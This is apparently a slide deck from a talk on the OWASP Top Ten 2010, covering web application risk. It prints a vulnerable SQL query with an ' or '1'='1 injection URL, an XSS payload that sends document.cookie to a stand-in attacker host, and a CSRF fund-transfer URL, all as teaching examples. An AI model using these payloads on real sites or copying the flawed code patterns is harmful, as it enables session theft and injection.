

# OWASP Top Ten 2010

- Yvan Boily

# What is OWASP?

- Open Web Application Security Project
- Launched in 2001
- Community oriented organization
- Primarily run and driven by volunteers
- <http://www.owasp.org>

# What is the Top Ten?

- List of the most significant application security risks
- Published previously in 2004 and in 2007
- 2004 and 2007 focused on vulnerabilities
- 2010 focused on Top 10 Risks
- Important to understand the shift in focus from vulnerability to risk

# Risk vs Vulnerability

- Vulnerability - a weakness that can be exploited
- A vulnerability is a property of a system
- Risk – fundamentally, the probability of an undesirable incident
- A risk is a measured value (qualitative or quantitative)
- A vulnerability exists or not, a risk is the likelihood of a vulnerability being exploited

# Why the distinction?

- A documented vulnerability is an actionable item, but it is isolated and lacks context
- For example
  - MS08-67 – Critical pre-auth (in  $\leq$  Windows Server 2003) RPC bug
  - A desktop pc and an enterprise mail server have an identical vulnerability
  - The risk profile is vastly different (1 pc vs. All email accounts)

# Calculating Risk

- Traditionally the Annualized Loss Expectancy Model was used
  - $ALE = SLE * ARO \Rightarrow Risk = Impact * Likelihood$
- Quantitative model in Finance
- Qualitative model in IT Security
- Many Risk Rating Methodologies
  - CVSS
  - SPRINT / FIRM / IRAM
  - Many vendor models

# OWASP Risk Rating Methodology

- Basically 6 steps
  - Identify a Risk
  - Estimate Likelihood
  - Estimate Impact
  - Calculate Severity
  - Prioritize fixes based on Severity
  - Customize the Risk Model
- A framework, not a process!
- More detail in OWASP Testing Guide

# So, back on topic!

- OWASP Top Ten 2010
  - Risk rated list
  - Very similar to 2007 list
  - Prioritized by risk

# The Top Ten

## OWASP Top Ten 2007

- 1) Cross Site Scripting
- 2) Injection Flaws
- 3) Malicious File Execution
- 4) Insecure Direct Object Reference
- 5) Cross Site Request Forgery
- 6) Information Leakage and Improper Error Handling
- 7) Broken Authentication and Session Management
- 8) Insecure Cryptographic Storage
- 9) Insecure Communications
- 10) Failure to Restrict URL Access

## OWASP Top Ten 2010

- 1) Injection
- 2) Cross Site Scripting
- 3) Broken Authentication and Session Management
- 4) Insecure Direct Object Reference
- 5) Cross Site Request Forgery
- 6) Security Misconfiguration
- 7) Insecure Cryptographic Storage
- 8) Failure to Restrict URL Access
- 9) Insufficient Transport Layer Protection
- 10) Unvalidated Redirects and Forwards

# A1 - Injection

- The injection of untrusted data into an interpreter
- Commonly found as SQL, LDAP, or Command Injections

```
String query = "SELECT * FROM accounts WHERE  
custID='" + request.getParameter("id") + "'";
```

<http://example.com/app/accountView?id=' or '1'='1>

# A2 - Cross Site Scripting (XSS)

- An injection attack that allows user supplied data to be inserted into a browser page
- Stored, Reflected and DOM

```
(String) page += "<input name='creditcard' type='TEXT'  
value='" + request.getParameter("CC") + "'>";
```

```
'><script>document.location=  
'http://www.attacker.com/cgi-bin/cookie.cgi?  
foo='+document.cookie</script>'
```

## A3 - Broken Authentication and Session Management

- Custom authentication or session management schemes
- Common weaknesses
  - Unsalted passwords
  - Static session identifiers across security states
  - Session identifiers within the url

# A4 - Insecure Direct Object References

- Direct Object Reference – a parameter which is used as part of a request for access, for example an account number
- Also file names, operations, etc
- Unless proper validation or canonicalization is performed, a user may supply a correct, but unauthorized value

# A5 – Cross Site Request Forgery

- XSRF occurs when an application supports a request for a sensitive operation and does not include a nonce

```
http://example.com/app/transferFunds?  
amount=1500&destinationAccount=4673243243
```

```

```

# A6 – Security Misconfiguration

- Missing patches, poorly configured services, database servers, libraries
- This is one of the most common issues, especially in environments without strong change management processes

# A7 – Insecure Cryptographic Storage

- Broad issue covering use of cryptographic methods of securing data at rest or in transit
  - Ensure that all sensitive data is encrypted
  - Ensure that keys are only available to authorized users
  - Ensure that standard, strong encryption is used
  - Ensure that key generation is done using a cryptographically secure method

# A8 – Failure to restrict URL access

- Focuses on a failure to apply an otherwise working access control system
- Two aspects:
  - Does every component enforce authorization
  - Does every component ensure the correct authorization levels

# A9 – Insufficient Transport Layer Protection

- Relates to how Transport Layer Security is applied
  - Does your application use TLS for all pages/requests
  - When switching between https and http is security state maintained?
  - Are all components on a secure page secure?
  - Are certificates valid, and do they prescribe strong encryption?

# A10 – Unvalidated Forwards and Redirects

- Browser redirects
  - A mechanism for sending the browser to a new location
  - Used to implement security controls and useability
  - Frequently redirect browser to user-supplied resources

# Whats Next?

- Top Ten is just the top 10 items.
- Further defects exist
- Key to improving security is understanding risks and fixing vulnerabilities